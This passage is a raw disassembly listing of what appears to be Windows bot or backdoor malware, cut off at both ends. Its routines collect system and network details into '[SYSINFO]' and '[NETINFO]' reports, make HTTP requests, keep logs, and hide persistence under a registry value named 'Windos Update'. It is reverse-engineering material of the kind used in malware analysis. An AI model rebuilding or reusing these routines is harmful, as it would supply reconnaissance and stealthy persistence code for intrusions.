mov ebx, eax
test edi, edi
ja short loc_40B825
jb short loc_40B854
cmp ebx, esi
ja short loc_40B825
loc_40B854: ; CODE XREF: sub_40B81D+31j
push 0
push 64h
push edi
push ebx
call __aullrem
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_40B8C7
jb short loc_40B873
cmp esi, 50h
jnb short loc_40B878
loc_40B873: ; CODE XREF: sub_40B81D+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40B878: ; CODE XREF: sub_40B81D+54j
test ecx, ecx
ja short loc_40B8C7
jb short loc_40B883
cmp esi, 47h
jnb short loc_40B888
loc_40B883: ; CODE XREF: sub_40B81D+5Fj
push 42h
xor edx, edx
pop eax
loc_40B888: ; CODE XREF: sub_40B81D+64j
test ecx, ecx
ja short loc_40B8C7
jb short loc_40B893
cmp esi, 37h
jnb short loc_40B898
loc_40B893: ; CODE XREF: sub_40B81D+6Fj
push 32h
xor edx, edx
pop eax
loc_40B898: ; CODE XREF: sub_40B81D+74j
test ecx, ecx
ja short loc_40B8C7
jb short loc_40B8A3
cmp esi, 26h
jnb short loc_40B8A8
loc_40B8A3: ; CODE XREF: sub_40B81D+7Fj
push 21h
xor edx, edx
pop eax
loc_40B8A8: ; CODE XREF: sub_40B81D+84j
test ecx, ecx
ja short loc_40B8C7
jb short loc_40B8B3
cmp esi, 1Eh
jnb short loc_40B8B8
loc_40B8B3: ; CODE XREF: sub_40B81D+8Fj
push 19h
xor edx, edx
pop eax
loc_40B8B8: ; CODE XREF: sub_40B81D+94j
test ecx, ecx
ja short loc_40B8C7
jb short loc_40B8C3
cmp esi, 0Ah
jnb short loc_40B8C7
loc_40B8C3: ; CODE XREF: sub_40B81D+9Fj
xor eax, eax
xor edx, edx
loc_40B8C7: ; CODE XREF: sub_40B81D+4Dj
; sub_40B81D+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_40B81D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8D3 proc near ; CODE XREF: sub_40EE51+59D1p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
FullPath = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
Dest = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
Dst = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Drive = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_4397BC
mov [ebp+var_CC], 94h
call ds:dword_423144 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40B95A
cmp [ebp+var_C4], ebx
jnz short loc_40B936
cmp [ebp+var_BC], 1
jnz short loc_40B920
mov [ebp+var_4], offset a95 ; "95"
loc_40B920: ; CODE XREF: sub_40B8D3+44j
cmp [ebp+var_BC], 2
jnz loc_40B9D5
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40B9A6
; ---------------------------------------------------------------------------
loc_40B936: ; CODE XREF: sub_40B8D3+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40B948
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40B99D
; ---------------------------------------------------------------------------
loc_40B948: ; CODE XREF: sub_40B8D3+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40B996
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40B99D
; ---------------------------------------------------------------------------
loc_40B95A: ; CODE XREF: sub_40B8D3+33j
cmp [ebp+var_C8], 5
jnz short loc_40B996
cmp [ebp+var_C4], ebx
jnz short loc_40B974
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40B99D
; ---------------------------------------------------------------------------
loc_40B974: ; CODE XREF: sub_40B8D3+96j
cmp [ebp+var_C4], 1
jnz short loc_40B986
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40B99D
; ---------------------------------------------------------------------------
loc_40B986: ; CODE XREF: sub_40B8D3+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40B99D
loc_40B996: ; CODE XREF: sub_40B8D3+7Cj
; sub_40B8D3+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_40B99D: ; CODE XREF: sub_40B8D3+73j
; sub_40B8D3+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40B9D5
loc_40B9A6: ; CODE XREF: sub_40B8D3+61j
cmp [ebp+var_B8], bl
jz short loc_40B9D5
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+Dest]
push [ebp+var_4]
push offset aSS_4 ; "%s (%s)"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
add esp, 10h
mov [ebp+var_4], eax
loc_40B9D5: ; CODE XREF: sub_40B8D3+54j
; sub_40B8D3+D1j ...
mov ax, ds:word_42CDD0
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, ds:dword_43C504
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_40BA0E
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_40BA0E: ; CODE XREF: sub_40B8D3+12Cj
push [ebp+arg_4]
call sub_40AEDB
pop ecx
push eax
call ds:dword_43C658 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_43C5D0 ; gethostbyaddr
cmp eax, ebx
jz short loc_40BA37
push dword ptr [eax]
jmp short loc_40BA3C
; ---------------------------------------------------------------------------
loc_40BA37: ; CODE XREF: sub_40B8D3+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40BA3C: ; CODE XREF: sub_40B8D3+162j
lea eax, [ebp+var_3E4]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+FullPath]
pop ecx
push 104h
push eax
call ds:dword_423064 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call ds:dword_423098 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_423094 ; GetTimeFormatA
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
call ds:dword_423148 ; GlobalMemoryStatus
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
lea eax, [ebp+Drive]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40D12A
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40B71C
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AEDB
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+FullPath]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
call sub_40B81D
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40B8D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BB87(char *Dest,int,int)
sub_40BB87 proc near ; CODE XREF: sub_40EE51+455Ap
; sub_40EE51+59FFp
Dst = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
Dest = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp ds:dword_43C700, 0
jnz short loc_40BBFB
push 0
lea eax, [ebp+Dst]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call ds:dword_43C4E8 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_40BBDC
lea eax, [ebp+Dst]
push offset aNotConnected ; "Not connected"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40BBDC: ; CODE XREF: sub_40BB87+40j
test [ebp+var_C], 1
jz short loc_40BBF4
push offset aDialUp ; "Dial-up"
loc_40BBE7: ; CODE XREF: sub_40BB87+72j
lea eax, [ebp+var_8]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_40BC1A
; ---------------------------------------------------------------------------
loc_40BBF4: ; CODE XREF: sub_40BB87+59j
push offset off_42CE44
jmp short loc_40BBE7
; ---------------------------------------------------------------------------
loc_40BBFB: ; CODE XREF: sub_40BB87+28j
mov esi, offset off_42CE40
lea eax, [ebp+var_8]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push esi ; Format
push eax ; Dest
call _sprintf
add esp, 10h
loc_40BC1A: ; CODE XREF: sub_40BB87+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AEDB
pop ecx
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h ; Count
push [ebp+Dest] ; Dest
call __snprintf
mov eax, [ebp+Dest]
add esp, 1Ch
pop esi
leave
retn
sub_40BB87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC4D proc near ; DATA XREF: sub_40EE51+4972o
var_65C = byte ptr -65Ch
Dest = byte ptr -55Ch
var_35C = dword ptr -35Ch
Str = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
Dst = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
Source = dword ptr -38h
Count = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42CF80
call _memset
push edi ; Size
lea eax, [ebp+var_1C8]
push ebx ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+var_C8]
push ebx ; Val
push eax ; Dst
call _memset
push 100h ; Size
lea eax, [ebp+var_65C]
push ebx ; Val
push eax ; Dst
call _memset
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+Count], esi
push eax
lea eax, [ebp+Str]
push ebx
push eax ; Str
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
call ds:dword_43C520 ; InternetCrackUrlA
test eax, eax
jz loc_40BDE7
cmp [ebp+Count], ebx
jbe short loc_40BD24
push [ebp+Count] ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40BD24: ; CODE XREF: sub_40BC4D+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40BD42
push [ebp+var_28] ; Count
lea eax, [ebp+var_1C8]
push [ebp+var_2C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40BD42: ; CODE XREF: sub_40BC4D+DEj
cmp [ebp+var_20], ebx
jbe short loc_40BD5C
push [ebp+var_20] ; Count
lea eax, [ebp+var_C8]
push [ebp+var_24] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40BD5C: ; CODE XREF: sub_40BC4D+F8j
cmp [ebp+var_18], ebx
jbe short loc_40BD76
push [ebp+var_18] ; Count
lea eax, [ebp+var_65C]
push [ebp+var_1C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40BD76: ; CODE XREF: sub_40BC4D+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+Dst]
push esi
push eax
push ds:dword_43C5C8
call ds:dword_43C5EC ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_40BDFF
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call ds:dword_43C5E0 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40BE06
push ebx
push ebx
push ebx
push ebx
push eax
call ds:dword_43C594 ; HttpSendRequestA
test eax, eax
jz short loc_40BDE0
push offset dword_42CF54
jmp short loc_40BE0B
; ---------------------------------------------------------------------------
loc_40BDE0: ; CODE XREF: sub_40BC4D+18Aj
push offset unk_42CF08
jmp short loc_40BE0B
; ---------------------------------------------------------------------------
loc_40BDE7: ; CODE XREF: sub_40BC4D+B7j
lea eax, [ebp+Dest]
push offset dword_42CEDC ; Format
push eax ; Dest
call _sprintf
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_40BE19
; ---------------------------------------------------------------------------
loc_40BDFF: ; CODE XREF: sub_40BC4D+153j
push offset unk_42CEA0
jmp short loc_40BE0B
; ---------------------------------------------------------------------------
loc_40BE06: ; CODE XREF: sub_40BC4D+17Bj
push offset unk_42CE60 ; Format
loc_40BE0B: ; CODE XREF: sub_40BC4D+191j
; sub_40BC4D+198j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40BE19: ; CODE XREF: sub_40BC4D+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_40BE44
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_1D0] ; int
push eax ; int
lea eax, [ebp+var_258]
push eax ; Str
push [ebp+var_35C] ; int
call sub_40D670
add esp, 14h
loc_40BE44: ; CODE XREF: sub_40BC4D+1D2j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
push esi
call ds:dword_43C64C ; InternetCloseHandle
push [ebp+var_4]
call ds:dword_43C64C ; InternetCloseHandle
push [ebp+var_1D8]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
pop edi
pop esi
pop ebx
sub_40BC4D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BE77(char *Source,int)
sub_40BE77 proc near ; CODE XREF: sub_40EE51+448Dp
var_4 = dword ptr -4
Source = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset Str1
mov edi, 0B8h
loc_40BE8B: ; CODE XREF: sub_40BE77+33j
cmp byte ptr [esi], 0
jz short loc_40BEAE
push [ebp+Source] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40BEAE
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_441E70
jl short loc_40BE8B
jmp short loc_40BEF0
; ---------------------------------------------------------------------------
loc_40BEAE: ; CODE XREF: sub_40BE77+17j
; sub_40BE77+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi ; Size
push 0 ; Val
lea ebx, Str1[esi]
push ebx ; Dst
call _memset
push 17h ; Count
push [ebp+Source] ; Source
push ebx ; Dest
call _strncpy
push 9Fh ; Count
lea eax, dword_441308[esi]
push [ebp+arg_4] ; Source
push eax ; Dest
call _strncpy
add esp, 24h
inc ds:dword_4303A0
pop ebx
loc_40BEF0: ; CODE XREF: sub_40BE77+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40BE77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BEF7(int,char *Str,int)
sub_40BEF7 proc near ; CODE XREF: sub_40EE51+5B3Ap
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset aAliasList ; "-[Alias List]-"
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
xor edi, edi
mov esi, offset Str1
loc_40BF21: ; CODE XREF: sub_40BEF7+72j
cmp byte ptr [esi], 0
jz short loc_40BF5C
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_SS ; "%d. %s = %s"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 2Ch
loc_40BF5C: ; CODE XREF: sub_40BEF7+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_441E70
jl short loc_40BF21
pop edi
pop esi
leave
retn
sub_40BEF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BF6F proc near ; CODE XREF: sub_401000+97p
; sub_4010B2+314p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_423068 ; GetLocalTime
mov ebx, offset byte_4409E4
mov edi, 80h
mov esi, offset byte_43C9E4
loc_40BF91: ; CODE XREF: sub_40BF6F+3Dj
cmp byte ptr [ebx], 0
jz short loc_40BFA8
push 7Fh ; Count
lea eax, [ebx+80h]
push ebx ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40BFA8: ; CODE XREF: sub_40BF6F+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40BF91
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40BF6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BFE3(char *Format,char Args)
sub_40BFE3 proc near ; CODE XREF: sub_407BCB+15Bp
; sub_407D53+1AFp ...
Dest = byte ptr -80h
Format = dword ptr 8
Args = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 80h ; Count
push eax ; Dest
call __vsnprintf
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esp, 14h
leave
retn
sub_40BFE3 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40C00F(int,char *Str,int,int)
sub_40C00F proc near ; CODE XREF: sub_40EE51+5A34p
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset byte_43C9E4
xor ecx, ecx
loc_40C016: ; CODE XREF: sub_40C00F+13j
mov [eax], cl
add eax, 80h
cmp eax, offset byte_4409E4
jl short loc_40C016
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42CFC4
jnz short loc_40C046
push ecx ; int
push [esp+8+arg_8] ; int
push esi ; int
push [esp+10h+Str] ; Str
push [esp+14h+arg_0] ; int
call sub_40D670
add esp, 14h
loc_40C046: ; CODE XREF: sub_40C00F+1Fj
push esi
call sub_40BF6F
pop ecx
pop esi
retn
sub_40C00F endp
; =============== S U B R O U T I N E =======================================
sub_40C04F proc near ; CODE XREF: sub_402DCE+2AEp
arg_0 = dword ptr 4
push esi
mov esi, offset byte_43C9E4
loc_40C055: ; CODE XREF: sub_40C04F+27j
cmp byte ptr [esi], 0
jz short loc_40C06A
push [esp+4+arg_0] ; int
push esi ; Str
call sub_40A96A
pop ecx
test eax, eax
pop ecx
jnz short loc_40C07C
loc_40C06A: ; CODE XREF: sub_40C04F+9j
add esi, 80h
cmp esi, offset byte_4409E4
jl short loc_40C055
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40C07C: ; CODE XREF: sub_40C04F+19j
push 1
pop eax
pop esi
retn
sub_40C04F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C081 proc near ; DATA XREF: sub_40EE51+5AE4o
Dest = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40C0D4
push edx ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push offset dword_42D018 ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_40D670
add esp, 14h
loc_40C0D4: ; CODE XREF: sub_40C081+33j
cmp [ebp+Str], 0
jz short loc_40C0F4
lea eax, [ebp+Str]
push eax ; Str
call _atoi
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40C0F4
mov [ebp+var_8], eax
loc_40C0F4: ; CODE XREF: sub_40C081+5Aj
; sub_40C081+6Ej
and [ebp+arg_0], 0
mov esi, offset byte_43C9E4
loc_40C0FD: ; CODE XREF: sub_40C081+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40C157
cmp byte ptr [esi], 0
jz short loc_40C146
cmp [ebp+Str], 0
jz short loc_40C12C
cmp [ebp+var_4], 0
jnz short loc_40C12C
lea eax, [ebp+Str]
push eax ; int
push esi ; Str
call sub_40A96A
pop ecx
test eax, eax
pop ecx
jz short loc_40C146
loc_40C12C: ; CODE XREF: sub_40C081+90j
; sub_40C081+96j
push edi ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push esi ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_40D670
add esp, 14h
loc_40C146: ; CODE XREF: sub_40C081+87j
; sub_40C081+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset byte_4409E4
jl short loc_40C0FD
loc_40C157: ; CODE XREF: sub_40C081+82j
lea eax, [ebp+Dest]
push offset dword_42CFEC ; Format
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40C191
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+var_118]
push eax ; Str
push [ebp+var_11C] ; int
call sub_40D670
add esp, 14h
loc_40C191: ; CODE XREF: sub_40C081+EEj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_18]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
pop edi
pop esi
sub_40C081 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40C1B0(char *Str)
sub_40C1B0 proc near ; CODE XREF: sub_40AC3D+1Ep
; sub_40E68B+343p
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_42D038
xor esi, esi
mov ebx, offset aWindosUpdate ; "Windos Update"
loc_40C1C3: ; CODE XREF: sub_40C1B0+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call ds:dword_43C5CC
cmp [ebp+Str], esi
jz short loc_40C1FD
push [ebp+Str] ; Str
call _strlen
pop ecx
push eax
push [ebp+Str]
push 1
push esi
push ebx
push [ebp+var_4]
call ds:dword_43C63C ; RegSetValueExA
jmp short loc_40C207
; ---------------------------------------------------------------------------
loc_40C1FD: ; CODE XREF: sub_40C1B0+2Fj
push ebx
push [ebp+var_4]
call ds:dword_43C584 ; RegDeleteValueA
loc_40C207: ; CODE XREF: sub_40C1B0+4Bj
push [ebp+var_4]
call ds:dword_43C5F4 ; RegCloseKey
add edi, 8
cmp edi, offset dword_42D050
jl short loc_40C1C3
pop edi
pop esi
pop ebx
leave
retn
sub_40C1B0 endp
; =============== S U B R O U T I N E =======================================
sub_40C220 proc near ; CODE XREF: sub_40C25B+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_40C255
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_40C239: ; CODE XREF: sub_40C220+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_423290[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40C239
pop edi
pop ebx
loc_40C255: ; CODE XREF: sub_40C220+Ej
mov eax, esi
pop esi
not eax
retn
sub_40C220 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40C25B(char *Filename)
sub_40C25B proc near ; CODE XREF: sub_40CAF1+24Ap
var_10 = dword ptr -10h
Filename = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx ; Mode
call _malloc
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+Filename] ; Filename
mov esi, eax
call _fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40C2AA
loc_40C280: ; CODE XREF: sub_40C25B+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40C2AE
inc ebx
push ebx ; NewSize
push esi ; Memory
call _realloc
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40C2AA
push edi ; File
push 1 ; Count
lea eax, [esi+ebx-1]
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
jmp short loc_40C280
; ---------------------------------------------------------------------------
loc_40C2AA: ; CODE XREF: sub_40C25B+23j
; sub_40C25B+39j
xor eax, eax
jmp short loc_40C2C9
; ---------------------------------------------------------------------------
loc_40C2AE: ; CODE XREF: sub_40C25B+29j
dec ebx
push ebx
push esi
call sub_40C220
push esi ; Memory
mov ebx, eax
call _free
push edi ; File
call _fclose
add esp, 10h
mov eax, ebx
loc_40C2C9: ; CODE XREF: sub_40C25B+51j
pop edi
pop esi
pop ebx
retn
sub_40C25B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2CD proc near ; CODE XREF: sub_40C353+33p
; sub_40C8B6+BCp
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call ds:dword_43C698 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40C349
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call ds:dword_43C618 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call ds:dword_43C658 ; inet_addr
cmp eax, esi
jnz short loc_40C32E
push [ebp+arg_0]
call ds:dword_43C69C ; gethostbyname
test eax, eax
jz short loc_40C349
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
